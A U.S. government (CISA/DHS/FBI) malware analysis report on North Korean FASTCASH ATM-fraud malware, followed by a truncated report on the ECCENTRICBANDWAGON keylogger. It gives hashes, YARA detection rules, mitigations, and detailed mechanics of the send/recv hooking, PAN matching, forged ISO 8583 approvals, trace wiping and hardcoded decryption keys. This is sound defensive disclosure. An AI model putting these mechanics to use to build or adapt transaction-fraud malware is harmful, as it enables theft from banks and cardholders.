Original release date: August 26, 2020Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between the Department of Homeland Security (DHS), the Federal Bureau of Investigation (FBI), and the Department of Defense (DoD). Working with U.S. Government partners, DHS, FBI, and DoD identified Remote Access Tool (RAT) malware variants used by the North Korean government. This malware variant has been identified as FASTCASH for Windows. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity, visit https[:]//www[.]us-cert.gov/hiddencobra.

FBI has high confidence that HIDDEN COBRA actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks and to further network exploitation. DHS, FBI, and DoD are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity.

This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions and recommended mitigation techniques. Users or administrators should flag activity associated with the malware and report the activity to the Cybersecurity and Infrastructure Security Agency (CISA) or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation.

This submission included two unique files. The first file is a malicious application, which can be utilized to inject a dynamic link library (DLL) into a remote Windows process. The second file is a malicious Windows DLL. The DLL contains two functions that can hook callbacks to the Windows application programming interfaces (APIs) “Send” and “Recv” within a targeted process. These hook functions are utilized to intercept traffic received by the target process. In received Financial Messages, the malicious functions will look for targeted Primary Account Numbers (PAN) to deliver a custom response. It appears the malware will target a system on a bank infrastructure, which is designed to process automated teller machine (ATM) transactions.

This updated report included an additional sample that is used by advanced persistent threat (APT) cyber actors in the targeting of banking payment systems. The sample is a man-in-the-middle bank transaction modification malware. Once the malware is injected into an executable, it takes control of the send and receive functions in order to identify, log, and modify ISO 8583 messages. ISO 8583 is an international standard for financial transaction card originated interchanged messaging. This functionality enables the actor to withdraw more money than is actually available. The malware specifically targets ISO 8583 Point of Sale (POS) system messages, ATM transaction requests, and ATM balance inquiries. The sample uses code from open source repositories on the Internet and modifies the parsing code to support Extended Binary Coded Decimal Interchange Code (EBCDIC) encoding. EBCDIC is a character encoding format like the more commonly ASCII.

For a downloadable copy of IOCs, see [STIX file].

Submitted Files (3)

129b8825eaf61dcc2321aad7b84632233fa4bbc7e24bdf123b507157353930f0 (switch.dll)

39cbad3b2aac6298537a85f0463453d54ab2660c913f4f35ba98fffeb0b15655 (switch.exe)

5cb7a352535b447609849e20aec18c84d8b58e377d9c6365eafb45cdb7ef949b (A2B1A45A242CEE03FAB0BEDB2E4605…)

Findings

129b8825eaf61dcc2321aad7b84632233fa4bbc7e24bdf123b507157353930f0

Tags

HIDDEN-COBRAtrojan

Details

Name
switch.dll

Size
118784 bytes

Type
PE32 executable (DLL) (console) Intel 80386, for MS Windows

MD5
c4141ee8e9594511f528862519480d36

SHA1
2b22d9c673d031dfd07986906184e1d31908cea1

SHA256
129b8825eaf61dcc2321aad7b84632233fa4bbc7e24bdf123b507157353930f0

SHA512
dfc1ad2cb2df2b79ac0f2254b605a2012b94529ac220350a4075e60b06717918175cff5c22e52765237b78ec4edffd6df20f333e28a405a4339a10288158e7fc

ssdeep
3072:lUGDXTpE8AKDKDOf+8ZagCfG4aAzFdIARrhxg6/ZpDA:+GDXTpFDKDMZagX4aAB2Cg6hpD

Entropy
6.454745

Antivirus

Antiy
Trojan/Win32.Tiggre

Avira
TR/Spy.Banker.pubvd

BitDefender
Trojan.GenericKD.32541173

ClamAV
Win.Trojan.Alreay-7189205-0

Comodo
Malware

ESET
a variant of Win32/NukeSped.GA trojan

Emsisoft
Trojan.GenericKD.32541173 (B)

Ikarus
Trojan.Spy.Banker

K7
Riskware ( 0040eff71 )

Lavasoft
Trojan.GenericKD.32541173

McAfee
Trojan-Banking

NANOAV
Trojan.Win32.NukeSped.gexoae

Sophos
Troj/Banker-GYS

Symantec
Trojan Horse

TrendMicro
Backdoo.62DC2502

TrendMicro House Call
Backdoo.62DC2502

VirusBlokAda
BScope.TrojanBanker.Agent

Zillya!
Trojan.NukeSped.Win32.183

YARA Rules

rule CISA_10257062_01 : ATM_Malware
{
   meta:
       Author = “CISA Code & Media Analysis”
       Incident = “10257062”
       Date = “2019-09-26”
       Last_Modified = “20200117_1732”
       Actor = “n/a”
       Category = “Financial”
       Family = “ATM_Malware”
       Description = “n/a”
       MD5_1 = “c4141ee8e9594511f528862519480d36”
       SHA256_1 = “129b8825eaf61dcc2321aad7b84632233fa4bbc7e24bdf123b507157353930f0”
   strings:
       $x3 = “RECV SOCK= 0x%p, BUF= 0x%p, LEN= 0x%08X, RET= %08X, IP= %s, Port= %d” fullword ascii
       $x4 = “init_hashmap succ” fullword ascii
       $x5 = “89*(w8y92r3y9*yI2H28Y9(*y3@*” fullword ascii
   condition:
       ($x3) and ($x4) and ($x5)
}

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2019-06-22 01:59:31-04:00

Import Hash
0ab159bd939411cb8df935bd9e7b5835

PE Sections

MD5
Name
Raw Size
Entropy

00f8301c11847b70346d6271098d8f1c
header
1024
2.296500

c3bee35076d728ce32b67f5bc66587f3
.text
84992
6.641787

6b094443cad879acc7285f991243ddb0
.rdata
17920
5.170073

11060bd3e49075b78be8670ff46d9a48
.data
7168
4.275765

3637e0cd32608b060e308fdd9742ea97
.reloc
7680
4.792696

Packers/Compilers/Cryptors

Microsoft Visual C++ DLL *sign by CodeRipper

Description

This file is a malicious Windows 32-bit DLL. Upon execution, it attempts to read the file “c:\tempinfo.dat”. Analysis of this implant indicates the encrypted file “info.dat” will contain targeted PAN numbers, which are expected to be contained within transactions possibly originating from ATM systems. Analysis indicates the malware decrypts “info.dat” utilizing what appears to be the AES encryption algorithm. The key utilized for this decryption is displayed below:

–Begin Decryption Key–

89*(w8y92r3y9*yIy(8Y23RHWIEFH238

–End Decryption Key–

The decrypted contents of “info.dat” are then parsed. Sub-components of the file are then further decoded using a hard-coded rotating XOR cipher (Figure 1). The data used as the rotating XOR cipher key is displayed below:

–Begin Rotating XOR Cipher Key–

963007772C610EEEBA51099919C46D078FF46A7035A563E9A395649E3288DB0EA4B8DC791EE9D5E088D9D2972B4CB609BD7CB17E072DB8E7911DBF906410B71DF220B06A4871B9F3DE41BE847DD4DA1AEBE4DD6D51B5D4F4C785D38356986C13C0A86B647AF962FDECC9658A4F5C0114D96C0663633D0FFAF50D088DC8206E3B5E10694CE44160D5727167A2D1E4033C47D4044BFD850DD26BB50AA5FAA8B5356C98B242D6C9BBDB40F9BCACE36CD832755CDF45CF0DD6DC593DD1ABAC30D9263A00DE518051D7C81661D0BFB5F4B42123C4B3569995BACF0FA5BDB89EB802280888055FB2D90CC624E90BB1877C6F2F114C6858AB1D61C13D2D66B69041DC760671DB01BC20D2982A10D5EF8985B1711FB5B606A5E4BF9F33D4B8E8A2C9077834F9000F8EA8099618980EE1BB0D6A7F2D3D6D08976C6491015C63E6F4516B6B62616C1CD83065854E0062F2ED95066C7BA5011BC1F4088257C40FF5C6D9B06550E9B712EAB8BE8B7C88B9FCDF1DDD62492DDA15F37CD38C654CD4FB5861B24DCE51B53A7400BCA3E230BBD441A5DF4AD795D83D6DC4D1A4FBF4D6D36AE96943FCD96E34468867ADD0B860DA732D0444E51D03335F4C0AAAC97C0DDD3C710550AA41022710100BBE86200CC925B56857B3856F2009D466B99FE461CE0EF9DE5E98C9D9292298D0B0B4A8D7C7173DB359810DB42E3B5CBDB7AD6CBAC02083B8EDB6B3BF9A0CE2B6039AD2B1743947D5EAAF77D29D1526DB048316DC73120B63E3843B64943E6A6D0DA85A6A7A0BCF0EE49DFF099327AE000AB19E077D44930FF0D2A3088768F2011EFEC206695D5762F7CB67658071366C19E7066B6E761BD4FEE02BD3895A7ADA10CC4ADD676FDFB9F9F9EFBE8E43BEB717D58EB060E8A3D6D67E93D1A1C4C2D83852F2DF4FF167BBD16757BCA6DD06B53F4B36B248DA2B0DD84C1B0AAFF64A0336607A0441C3EF60DF55DF67A8EF8E6E3179BE69468CB361CB1A8366BCA0D26F2536E2685295770CCC03470BBBB91602222F260555BE3BBAC5280BBDB2925AB42B046AB35CA7FFD7C231CFD0B58B9ED92C1DAEDE5BB0C2649B26F263EC9CA36A750A936D02A906099C3F360EEB8567077213570005824ABF95147AB8E2AE2BB17B381BB60C9B8ED2920DBED5E5B7EFDC7C21DFDB0BD4D2D38642E2D4F1F8B3DD686E83DA1FCD16BE815B26B9F6E177B06F7747B718E65A0888706A0FFFCA3B06665C0B0111FF9E658F69AE62F8D3FF6B6145CF6C1678E20AA0EED20DD75483044EC2B30339612667A7F71660D04D476949DB776E3E4A6AD1AEDC5AD6D9660BDF40F03BD83753AEBCA9C59EBBDE7FCFB247E9FFB5301CF2BDBD8AC2BACA3093B353A6A3B4240536D0BA9306D7CD2957DE54BF67D9232E7A66B3B84A61C4021B685D942B6F2A37BE0BB4A18E0CC31BDF055A8DEF022D759800007398

–End Rotating XOR Cipher Key–

This application will not run without the file “info.dat”, which was not available at the time of analysis.

Upon execution, the malware creates the directory “C:tmp_DMP”. The malware will use this location as a working directory on the targeted system. The malware will store run time logs within this folder. When executed, the malware will create a log file with the following file name format “c:\tmp\_DMP\TMPL_%d_%d.tmp” in this folder and stamps it with the data “HK-Start”.

This binary contains two functions, which provides context to the malware’s purpose and capability. Analysis indicates this DLL is injected into a targeted process. In order to capture and analyze incoming network traffic, the malware hooks the “Send” and “Recv” Windows API within a targeted process. One of these functions, located at offset “0x00004f60”, appears to search for incoming network traffic for “x200” Financial Request Messages, such as the type that may be generated from an ATM banking system. When the malware captures data it uses the “getpeername” API to get the IP address of the connected host. It then converts this IP address to integer value using the “ntohs API”. If the integer value of the IP address matches either “16843029” or “33620245” the malware will search it for a “Financial Request Message” (Figure 6). If not, it will process the incoming data as normal, however it still attempts to log it to a file named “c:\tmp\_DMP\TMPL_%d_%d.tmp” in the format RECV SOCK= 0x%p, BUF= 0x%p, LEN= 0x%08X, RET= %08X, IP= %s, Port=.

Upon receipt of one of these Financial Request Messages, this structure will create a log file that is named with the following format: “c:\tmp\_DMP\TMPL_%d_%d.tmp”. The format of the data logged in this log file will be as follows:

–Begin Logged Message Data–

Message(msg=%d, ct=%d, pc=%d, sd=%d, pan=%s, date=%s)

–End Logged Message Data–

Upon receipt of a Financial Request Message the malware will decode a portion of the data, which was AES decrypted from the file “info.dat” to see if portions of it match the incoming Financial Request Message (Figure 3). Although the file “info.dat” was not available for analysis, it appears the malware is ensuring the PAN numbers of the incoming message match one of the PAN numbers contained within “info.dat”.

Static analysis indicates the malware utilizes an encrypted file named “blk.dat”. This file is expected to contain a blacklist of ATM transactions, which will be denied by the hook function (Figure 2). This file was not available for analysis.

When the malware receives a request from an ATM, if it contains a PAN number configured in info.dat (Figure 3) and it is not on the blacklist in “blk.dat”, the malware will craft a response and send it to the ATM system (Figure 4). It appears the response to the ATM will allow the transaction to proceed and potentially allow the hackers to illegally withdraw money. If the transaction is hijacked and approved, the malware records this success in the encrypted log file “suc.dat”.

If the transaction is rejected, because it is on the blacklist in “blk.dat”, this error is logged to the file “err.dat”. If the transaction does not contain a configured PAN or a transaction on the blacklist, the malware will pass it on as normal to the targeted application. When the malware receives an identified Financial Request Message, it will log it to a file with the name format “c:\tmp\_DMP\TMPL_%d_%d.tmp”. The message itself will be logged into this file with the format “Message(msg=%d, ct=%d, pc=%d, sd=%d, pan=%s, date=%s)”.

The actual response back to the ATM system will be logged into a file with the filename format “c:\tmp\_DMP\TMPL_%d_%d.tmp”. The format of the data written to this file will be send socket=0x%X, ret=%d, err=%d.

Analysis indicates the Send API is hooked with a function that uses the “getpeername” IP address of the connected host. The IP address of the host is converted using “ntohs” and if it matches one of the values “16843029” or “33620245” the sent traffic will be logged in a file named “c:\tmp\_DMP\TMPL_%d_%d.tmp”. The format of the sent data logged is SEND SOCK= 0x%p, BUF= 0x%p, LEN= 0x%08X, RET= %08X, IP= %s, Port= (Figure 7). Static analysis indicates successful hooks made to the “Send” and “Recv” APIs within the target process will be logged in a file named “c:\tmp\_DMP\TMPL_%d_%d.tmp” with the format “g_hook_flag = %d”.

Screenshots

Figure 1 – Cipher used when decoding data in “info.dat”.

Figure 2 – API “Recv” hook checking for incoming Financial Request Message for a targeted PAN.

Figure 3 – The malware searching for targeted PANs.

Figure 4 – Malware crafting and sending responses to the ATM.

Figure 5 – Hook function either searching network traffic for Financial Message or logging it and sending to the “RECV” API.

Figure 6 – “RECV” Hook API function checking if the connected host is one of the two IP addresses.

Figure 7 – Logging outbound traffic to the two specific IP addresses.

39cbad3b2aac6298537a85f0463453d54ab2660c913f4f35ba98fffeb0b15655

Tags

HIDDEN-COBRAtrojan

Details

Name
switch.exe

Size
67448 bytes

Type
PE32 executable (GUI) Intel 80386, for MS Windows

MD5
89081f2e14e9266de8c042629b764926

SHA1
730c1b9e950932736fc4b02cbdb4e4e891485ac2

SHA256
39cbad3b2aac6298537a85f0463453d54ab2660c913f4f35ba98fffeb0b15655

SHA512
bbb5aa4d8e7a011daff71774ee9c74fa4d14627de1c25e0437c879bd1cd137223d5c2fb20fd101a511a95e59d91ea884b0947229ee67e40a4a24350573fb9e54

ssdeep
768:aQ1PWoWzXyjJsTKJUniYs1pdLn4nDT622YuYDIhscWTJqLPNofEDy9nAXmIEHbKa:aQ5WDziX+nD0LWT6FYZDgs5ULPIJEYp

Entropy
6.396614

Antivirus

Ahnlab
HackTool/Win32.Injector

Antiy
Trojan[Banker]/Win32.Alreay

ClamAV
Win.Trojan.Alreay-7189192-0

Comodo
Malware

ESET
a variant of Generik.CWSORYC trojan

Emsisoft
Gen:Variant.Ursu.634943 (B)

Ikarus
Trojan.Inject

K7
Riskware ( 0040eff71 )

McAfee
Trojan-Banking

Microsoft Security Essentials
Trojan:Win32/LazInjector.DD!MSR

NANOAV
Trojan.Win32.Alreay.geqrko

Sophos
Troj/Banker-GYS

Symantec
Trojan Horse

TrendMicro
TROJ_NO.4FADD924

TrendMicro House Call
TROJ_NO.4FADD924

VirusBlokAda
TrojanBanker.Alreay

Zillya!
Trojan.Alreay.Win32.96

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2018-06-13 02:17:06-04:00

Import Hash
c9febdea3218b92a46f739082f26471e

PE Sections

MD5
Name
Raw Size
Entropy

cde81f1500263860f325ee8f80c483ce
header
1024
2.497464

a8c0a36524287fef367821e833a68350
.text
38912
6.518662

e1c66ff8e5f0e1909e2691360c974420
.rdata
10752
4.878020

22783e6c2539d6828f3d42b030ca08e9
.data
4096
2.117927

81195ca9b22c050f79e44175e9e7150e
.rsrc
512
5.105006

36571bcb45b1ae18dfcf7edc8c5c3d4a
.reloc
3584
4.791228

Packers/Compilers/Cryptors

Microsoft Visual C++ ?.?

Description

This file is a malicious 32-bit Windows executable. It is a command-line utility. Static analysis indicates its primary purpose is to allow a user to inject a DLL into a remote process.

5cb7a352535b447609849e20aec18c84d8b58e377d9c6365eafb45cdb7ef949b

Tags

HIDDEN-COBRAtrojan

Details

Name
A2B1A45A242CEE03FAB0BEDB2E460587

Size
130560 bytes

Type
PE32 executable (DLL) (console) Intel 80386, for MS Windows

MD5
a2b1a45a242cee03fab0bedb2e460587

SHA1
e9c9ef312370d995d303e8fc60de4e4765436f58

SHA256
5cb7a352535b447609849e20aec18c84d8b58e377d9c6365eafb45cdb7ef949b

SHA512
4ced785089832287d634c77c2b5fb16efb2147b75da9014320c98d1bc0933504bfba77273576c35b97548d25acb88a0f2944cbef6a78509f945a8502f8910da8

ssdeep
3072:j5KO2SQhF+VJbGHMjjNNyCkeZjDYJklGCx:oO2SQT+nGHADyAZjJwC

Entropy
6.431962

Antivirus

VirusBlokAda
BScope.TrojanBanker.Agent

YARA Rules

rule CISA_3P_10257062 : HiddenCobra FASTCASH trojan
{
   meta:
       Author = “CISA Trusted Third Party”
       Incident = “10257062”
       Date = “2020-08-11”
       Actor = “Hidden Cobra”
       Category = “Trojan”
       Family = “FASTCASH”
       Description = “Detects HiddenCobra FASTCASH samples”
       MD5_1 = “a2b1a45a242cee03fab0bedb2e460587”
       SHA256_1 = “5cb7a352535b447609849e20aec18c84d8b58e377d9c6365eafb45cdb7ef949b”
   strings:
       $sn_config_key1 = “Slsklqc^mNgq`lyznqr[q^123”
       $sn_config_key2 = “zRuaDglxjec^tDttSlsklqc^m”
       $sn_logfile1 = “C:\intel\_DMP_V\spvmdl.dat”
       $sn_logfile2 = “C:\intel\_DMP_V\spvmlog_%X.dat”
       $sn_logfile3 = “C:\intel\_DMP_V\TMPL_%X.dat”
       $sn_logfile4 = “C:\intel\mvblk.dat”
       $sn_logfile5 = “C:\intel\_DMP_V\spvmsuc.dat”
   condition:
       all of ($sn*)
}

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2018-07-03 08:11:16-04:00

Import Hash
76e8a4f811b021cf503340a0077515cc

PE Sections

MD5
Name
Raw Size
Entropy

cbe7e7fdab96c22785fa8d7c03ca6b2b
header
1024
2.429436

03d36f4d9ae3e002027c981c399ab8c6
.text
89600
6.630313

d1f983704c508544b315d577fe3563e1
.rdata
23040
5.215776

a4b79dca294053725e2b2091453d9d85
.data
8192
4.358771

d762ef71411860ae50212e14c0a5ba72
.rsrc
512
5.115767

2e4eb6056385f6f721d970cafe65bebe
.reloc
8192
4.774185

Packers/Compilers/Cryptors

Microsoft Visual C++ DLL *sign by CodeRipper

Description

The file uses a configuration file, a black-list, and a series of log files:

–Begin files–
C:intelmyconf.ini: Configuration file that contains account numbers (encrypted) C:intelmyblk.dat: Black-listed account numbers (encrypted) C:intel_DMP_Vspvmlog_<PID>.dat: Logs general messages and errors.
Entry Format: [<YYYY-MM-DD HH:MM:SS.sss>][PID:<PID>][TID:<TID>] <Message>”]
C:intel_DMP_Vspvmdl.dat: Logs API hooking/unhooking success and failure.
Entry Format:
Hook Success Entry: ‘Windows’
Hook Error Entry: ‘Linux’
UnHook Success Entry: ‘Acer’
UnHook Error Entry: ‘Lenovo’
C:intel_DMP_VTMPL<PID>.dat: Logs Send/Receive Message metadata
Entry Format:
Recv Entry: ‘recv – SOCK=<socket_id>, Addr=<IP>, Port=<Port>, pBuf=<data>, size=<datasize>’ Send Entry: ‘send – SOCK=<socket_id>, Addr=<IP>, Port=<Port>, size=<datasize>’ C:intel_DMP_VTMPR<PID>.tmp: Logs Received Messages
C:intel_DMP_VTMPS<PID>.tmp: Logs Sent Messages
C:intel_DMP_VTMPHSMS<PID>.tmp: Logs LocalHost ARQC sent messages C:intel_DMP_VTMPHSMR<PID>.tmp: Logs LocalHost ARQC received messages
C:intel_DMP_Vspvmscap.dat: Logs modified sent messages
C:intel_DMP_Vspvmsuc.dat: Logs modified sent messages metadata (encrypted)
–End files–

Upon attaching to a process, the sample will decrypt the encrypted config from the configuration file and read it into memory. Next, it will hook the processes send and recv winAPIs. When the “send” function is called, it will check to see if the port is 7029, if so, it will log the data and metadata in the above log files, if not it will just pass through calling send as the program normally would. When the “receive” function is called, it will check to see if the port is 7029, if so, it will wait for packets received from port 7029 and parse the following ISO8583 fields out of the incoming datagram:

–Begin fields–
MESSAGE_TYPE_INDICATOR (MTI)
PRIMARY_ACCOUNT_NUMBER (PAN)
PROCESSING_CODE
RESERVED_NATIONAL_3
–End fields–

Next, it checks the loaded configuration for the PAN. If it exists, it will continue processing, otherwise it will pass. Then it will check the blacklist file for the PAN. If blacklist contains ‘all’ or the PAN, will set the RESPONSE_CODE to 51 (Insufficient funds) in the response message. It looks for the following message types:

–Begin message types–
POS system message
ATM transaction request
ATM balance inquiry
–End message types–

Next it, constructs what appears to be an Authorization Request Cryptogram (ARQC) message:

–Begin format–
Uses the PRIMARY_ACCOUNT_NUMBER and ICC_DATA
Contains the hardcoded string: “U8BFE0AE12F9000C1480B297BE43CAC97”
Sends to localhost on port 9990
Parses the response Authorization Response Cryptogram (ARPC) message
–End format–

Finally, it constructs and sends a ISO8583 response message.

When detaching from the process, the sample unhooks the “send” and “recv” WINAPI functions, returning them to their normal state. It will then overwrite the first 0x400 bytes of the in-memory DLL from the process, effectively cleaning up any trace of the sample.

The sample frequently uses code that is taken from GitHub with a few modifications in some cases. The sample uses code that is taken from github.com/petewarden/c_hashmap to load the configuration file into memory in a hashmap, API hooking using Microsoft’s Detour library at github.com/Microsoft/Detours and the ISO8583 parsing code is taken from github.com/sabit/Oscar-ISO8583 (slightly modified to facilitate parsing of IBM037 formatted data).

The encryption that is used for all log/config files is likely an AES variant with the following keys:

–Begin keys–
zRuaDglxjec^tDtt
Slsklqc^mNgq`lyz
–End keys–

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

Maintain up-to-date antivirus signatures and engines.
Keep operating system patches up-to-date.
Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
Enforce a strong password policy and implement regular password changes.
Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
Disable unnecessary services on agency workstations and servers.
Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
Scan all software downloaded from the Internet prior to executing.
Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

Contact Information

1-888-282-0870

CISA Service Desk (UNCLASS)

CISA SIPR (SIPRNET)

CISA IC (JWICS)

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://www.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

Web: https://malware.us-cert.gov

E-Mail: submit@malware.us-cert.gov

FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

This product is provided subject to this Notification and this Privacy & Use policy.

Original release date: August 26, 2020

Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between the Department of Homeland Security (DHS), the Federal Bureau of Investigation (FBI), and the Department of Defense (DoD). Working with U.S. Government partners, DHS, FBI, and DoD identified Remote Access Tool (RAT) malware variants used by the North Korean government. This malware variant has been identified as ECCENTRICBANDWAGON. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity, visit https[:]//www[.]us-cert.gov/hiddencobra.

FBI has high confidence that HIDDEN COBRA actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks and to further network exploitation. DHS, FBI, and DoD are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity.

This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions and recommended mitigation techniques. Users or administrators should flag activity associated with the malware and report the activity to the Cybersecurity and Infrastructure Security Agency (CISA) or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation.

This report looks at malware samples known as ECCENTRICBANDWAGON. This family of malware is used as a reconnaissance tool. The samples in this report are used for keylogging and screen capture functionality. The samples are very similar, but differ slightly in the location that they store the key logs and screenshots. Some variants have RC4 encrypted strings within the executable and conduct a simple, ineffective cleanup, whereas others do not.

For a downloadable copy of IOCs, see [STIX file].

Submitted Files (4)

32a4de070ca005d35a88503717157b0dc3f2e8da76ffd618fca6563aec9c81f8 (PSLogger .dll)

9ea5aa00e0a738b74066c61b1d35331170a9e0a84df1cc6cef58fd46a8ec5a2e (PSLogger .dll)

c6930e298bba86c01d0fe2c8262c46b4fce97c6c5037a193904cfc634246fbec (PSLogger .dll)

efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e (PSLogger .dll)

Findings

efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e

Tags

HIDDEN-COBRAbackdoorkeyloggerreconnaissancescreen-capturespywaretrojan

Details

Name
PSLogger .dll

Size
138240 bytes

Type
PE32+ executable (DLL) (GUI) x86-64, for MS Windows

MD5
d45931632ed9e11476325189ccb6b530

SHA1
081d5bd155916f8a7236c1ea2148513c0c2c9a33

SHA256
efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e

SHA512
fd1b7ea95f66a660e9183c22755ac7d741823ba45a009bf9929546213308f89fd9ce8fcc2e70b56e427f0daa1b0965817d45dd9c2f5598404bc79c50afc2f818

ssdeep
3072:t+N02CVLOJdCPQhVNRTzcb/YrgHdnG6ioaa5IR:sO2qO3CPkRTz8YrgHdGBoa1

Entropy
6.096739

Antivirus

Ahnlab
Trojan/Win64.Agent

Antiy
Trojan[Spy]/Win64.Agent

Avira
TR/Spy.Agent.ftmjo

BitDefender
Trojan.GenericKD.40337042

Cyren
W64/Trojan.WFEO-4014

ESET
a variant of Win64/Spy.Agent.AP trojan

Emsisoft
Trojan.GenericKD.40337042 (B)

Filseclab
W64.Spy.Agent.AP.feaw

Ikarus
Trojan-Spy.Win64.Agent

K7
Spyware ( 00538f7c1 )

Lavasoft
Trojan.GenericKD.40337042

McAfee
RDN/Generic PWS.nq

Microsoft Security Essentials
Trojan:Win32/Tiggre!plock

NANOAV
Trojan.Win64.Mlw.fgbvfi

NetGate
Trojan.Win32.Malware

Sophos
Troj/Spy-AUK

Symantec
Trojan.Crobaruko

Systweak
malware.agent

TrendMicro
TSPY64_.F7315F7E

TrendMicro House Call
TSPY64_.F7315F7E

Vir.IT eXplorer
Backdoor.Win32.Lazarus.BGM

VirusBlokAda
TrojanSpy.Win64.Agent

Zillya!
Trojan.Agent.Win64.2215

YARA Rules

rule CISA_3P_10301706_01 : HiddenCobra ECCENTRICBANDWAGON backdoor keylogger reconnaissance screencapture spyware trojan
{
   meta:
       Author = “CISA Trusted Third Party”
       Incident = “10301706.r1.v1”
       Date = “2020-08-11”
       Actor = “Hidden Cobra”
       Category = “Backdoor Keylogger Reconnaissance Screen-Capture Spyware Trojan”
       Family = “ECCENTRICBANDWAGON”
       Description = “Detects strings in ECCENTRICBANDWAGON proxy tool”
       MD5_1 = “d45931632ed9e11476325189ccb6b530”
       SHA256_1 = “efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e”
       MD5_2 = “acd15f4393e96fe5eb920727dc083aed”
       SHA256_2 = “32a4de070ca005d35a88503717157b0dc3f2e8da76ffd618fca6563aec9c81f8”
       MD5_3 = “34404a3fb9804977c6ab86cb991fb130”
       SHA256_3 = “c6930e298bba86c01d0fe2c8262c46b4fce97c6c5037a193904cfc634246fbec”
       MD5_4 = “3122b0130f5135b6f76fca99609d5cbe”
       SHA256_4 = “9ea5aa00e0a738b74066c61b1d35331170a9e0a84df1cc6cef58fd46a8ec5a2e”
   strings:
       $sn1 = { FB 19 9D 57 [1-6] 9A D1 D6 D1 [1-6] 42 9E D8 FD }
       $sn2 = { 4F 03 43 83 [1-6] 48 E0 1A 2E [1-6] 3B FD FD FD }
       $sn3 = { 68 56 68 9A [1-12] 4D E1 1F 25 [1-12] 3F 38 54 0F [1-12] 73 30 62 A1 [1-12] DB 39 BD 56 }
       $sn4 = “%s\chromeupdater_ps_%04d%02d%02d_%02d%02d%02d_%03d_%d” wide ascii nocase
       $sn5 = “c:\windows\temp\TMP0389A.tmp” wide ascii nocase
   condition:
       any of them
}

ssdeep Matches

100
32a4de070ca005d35a88503717157b0dc3f2e8da76ffd618fca6563aec9c81f8

PE Metadata

Compile Date
2018-04-27 22:53:06-04:00

Import Hash
f0faa229b086ea5053b4268855f0c8ba

PE Sections

MD5
Name
Raw Size
Entropy

09745305cbad67b17346f0f6dba1e700
header
1024
2.729080

5c2242b56a31d64b6ce82671d97a82a4
.text
92160
6.415763

0d022eff24bc601d97d2088b4179bd18
.rdata
31232
4.934652

578e5078ccb878f1aa9e309b4cfc2be5
.data
6144
2.115729

09924946b47ef078f7e9af4f4fcb59dc
.pdata
5632
4.803615

7ead0113095bc6cb3b2d82f05fda25f3
.rsrc
512
5.115767

7937397e0a31cdc87f5b79074825e18e
.reloc
1536
2.931043

Description

